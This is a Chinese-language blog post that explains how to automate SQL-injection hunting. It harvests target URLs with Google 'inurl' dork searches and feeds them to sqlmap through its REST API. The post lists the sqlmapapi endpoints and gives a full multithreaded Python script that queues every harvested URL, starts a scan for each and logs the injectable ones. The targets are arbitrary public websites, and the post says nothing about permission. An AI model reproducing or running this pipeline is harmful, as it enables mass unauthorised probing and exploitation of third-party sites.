利用sqlmapapi和google-hacking联动自动化sql注入探测
利用inurl语法搜索+sqlmap梭哈挖到过一点sql注入,这不失为一种好方法。
但是现在的sql注入漏洞的网站是比较少的了,所以这样一个个手工测,不仅效率低,还不一定有什么收获。不妨写一个google-hacking+sqlmap联动的自动化脚本批量挖洞。
为此写了一个小的python爬虫脚本,目的是可以利用google-hacking搜索然后再从google浏览器页面自动批量爬取这些我们想要的url。
待测的目标url都准备好了,接下来就是如何优雅地利用sqlmap实现快速高效探测。这里可能会想到sqlmap的-m选项,它读取多个目标url快速扫描,然而在sqlmap项目的根目录下面有个sqlmapapi.py,可能很少有人注意到。
sqlmapapi.py是sqlmap提供的一个API接口,它允许用户通过编程方式调用sqlmap的功能。可以利用sqlmapapi.py开启服务端口,然后向sqlmapapi发送请求,就可以进行快速稳定的sql注入探测。
使用方法也很简单python sqlmapapi.py -s
命令可在本地的8775端口开启一个sqlmapapi的服务,也可以通过-p
指定端口。
没有找到关于sqlmapapi官方的API文档,只有一些第三方的文档可以参考:Unofficial SQLmap RESTful API documentation
基于HTTP协议的接口模式,可以通过HTTP请求与sqlmapapi.py进行交互,以下是一些可用的API端点:
sqlmapapi的主要工作流程:
-
GET请求
/task/new
创建一个新的扫描任务 -
POST请求
/scan/<taskid>/start
并通过json格式提交参数,开始一个扫描任务 -
GET请求
/scan/<taskid>/status
来获取指定的taskid的扫描状态(run/terminated) -
GET请求
/scan/<taskid>/data
获取扫描结果
知道了这些就可以通过requests来模拟相应的api请求,以此来执行扫描任务了。
import json
import queue
import requests
from threading import Thread
from time import sleep
class slghack_sqli:
def __init__(self, server="http://127.0.0.1:8775", urlsfile=None, output="sqli_result.txt"):
self.server = server
self.urlsfile = urlsfile
self.ouput = output
self.task_queue = queue.Queue()
def get_urls(self):
with open(self.urlsfile, "r") as f:
for url in f.readlines():
self.task_queue.put(url.strip())
def sent_server(self):
threads = []
while not self.task_queue.empty():
url = self.task_queue.get().strip()
print(f"Target URL: {url}")
t = Thread(target=self.scan, args=(url,))
threads.append(t)
t.start()
for t in threads:
t.join()
def scan(self, url):
try:
r = requests.get(f"{self.server}/task/new")
taskid = r.json()['taskid']
r = requests.post(
f"{self.server}/scan/{taskid}/start",
data=json.dumps({'url': url}), headers={'content-type': 'application/json'}
)
r = requests.get(f"{self.server}/scan/{taskid}/status")
count = 0
while r.json()["status"] == "running":
sleep(6)
r = requests.get(f"{self.server}/scan/{taskid}/status")
print(r.json()["status"])
count += 1
if count == 30:
# 每个task最多跑6*30=180s结束
requests.get(f"{self.server}/scan/{taskid}/stop")
r = requests.get(f"{self.server}/scan/{taskid}/data")
requests.get(f"{self.server}/scan/{taskid}/delete")
if r.json()['data']:
print("Injection found: " + url)
with open(self.ouput, "a") as f:
f.write(url + "\n")
except requests.ConnectionError:
print("Connection error!")
if __name__ == '__main__':
ssqli = slghack_sqli(urlsfile='sql_urls.txt')
ssqli.get_urls()
ssqli.sent_server()
这种批量扫描探测,肯定是要比手工测的效率要高出不少的。
it works, nice!
若有错误,欢迎指正!o( ̄▽ ̄)ブ